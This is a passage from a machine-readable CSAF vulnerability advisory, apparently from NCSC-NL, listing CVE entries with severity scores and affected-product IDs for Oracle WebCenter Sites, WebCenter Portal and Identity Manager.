"category": "self",
"summary": "CVE-2026-61040 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61040.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61040"
},
{
"cve": "CVE-2026-61042",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61042 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61042.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61042"
},
{
"cve": "CVE-2026-61045",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized data access, modify data, or cause partial denial of service, rated CVSS 3.1 8.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61045 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61045.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61045"
},
{
"cve": "CVE-2026-61054",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized access or modify sensitive data, rated CVSS 3.1 base score 8.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61054 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61054.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61054"
},
{
"cve": "CVE-2026-61058",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Sites versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61058 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61058.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61058"
},
{
"cve": "CVE-2026-61066",
"notes": [
{
"category": "description",
"text": "A critical RMI-based vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows low-privileged attackers to fully compromise the system, with a CVSS 3.1 base score of 9.9 indicating severe risk.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61066 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61066.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 9.9,
"baseSeverity": "CRITICAL",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61066"
},
{
"cve": "CVE-2026-61118",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle Identity Manager versions 12.2.1.4.0 and 14.1.2.1.0 allows a low-privileged attacker with HTTP network access to fully compromise the system, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61118 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61118.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61118"
},
{
"cve": "CVE-2026-61124",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to cause unauthorized data modification or partial denial of service, rated CVSS 3.1 base score 7.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61124 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61124.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61124"
},
{
"cve": "CVE-2026-61177",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to create, delete, or modify critical data, rated CVSS 3.1 base score 8.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61177 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61177.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.1,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61177"
},
{
"cve": "CVE-2026-61193",
"notes": [
{
"category": "description",
"text": "A high-severity vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to potentially create, delete, or modify critical data, scoring 8.7 on CVSS 3.1.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61193 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61193.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61193"
},
{
"cve": "CVE-2026-61199",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Portal 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to gain unauthorized access to critical data, with a CVSS 3.1 base score of 7.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61199 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61199.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61199"
},
{
"cve": "CVE-2026-61208",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to gain unauthorized access, modify data, or cause partial denial of service, rated CVSS 7.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61208 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61208.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61208"
},
{
"cve": "CVE-2026-61212",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to potentially compromise confidentiality, integrity, and availability, rated CVSS 3.1 base score 8.5.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61212 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61212.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.5,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61212"
},
{
"cve": "CVE-2026-61213",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with HTTP network access to potentially take control of the portal, with a CVSS 3.1 base score of 8.8.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61213 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61213.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.8,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61213"
},
{
"cve": "CVE-2026-61215",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with network access and user interaction to potentially create, delete, or modify critical data, rated with a CVSS score of 8.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61215 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61215.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61215"
},
{
"cve": "CVE-2026-61219",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with network access and user interaction to potentially create, delete, or modify critical data, rated with a CVSS score of 8.7.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61219 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61219.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.7,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61219"
},
{
"cve": "CVE-2026-61222",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated attackers with HTTP network access to gain unauthorized access and modify data, with a CVSS 3.1 base score of 8.2.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61222 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61222.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.2,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61222"
},
{
"cve": "CVE-2026-61227",
"notes": [
{
"category": "description",
"text": "A vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows a low-privileged attacker with network access and user interaction to gain unauthorized access and modify critical data, with a CVSS 3.1 base score of 7.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61227 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61227.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 7.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
"title": "CVE-2026-61227"
},
{
"cve": "CVE-2026-61228",
"notes": [
{
"category": "description",
"text": "A critical vulnerability in Oracle WebCenter Portal versions 12.2.1.4.0 and 14.1.2.0.0 allows unauthenticated remote attackers to access sensitive data, with a CVSS 3.1 base score of 8.6.",
"title": "Summary"
}
],
"product_status": {
"known_affected": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
},
"references": [
{
"category": "self",
"summary": "CVE-2026-61228 | NCSC-NL Website",
"url": "https://vulnerabilities.ncsc.nl/csaf/v2/2026/cve-2026-61228.json"
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 8.6,
"baseSeverity": "HIGH",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"CSAFPID-1",
"CSAFPID-2",
"CSAFPID-3",
"CSAFPID-4",
"CSAFPID-5",
"CSAFPID-6",
"CSAFPID-7",
"CSAFPID-8",
"CSAFPID-9",
"CSAFPID-10",
"CSAFPID-11",
"CSAFPID-12",
"CSAFPID-13",
"CSAFPID-14",
"CSAFPID-15",
"CSAFPID-16",
"CSAFPID-17",
"CSAFPID-18",
"CSAFPID-19"
]
}
],
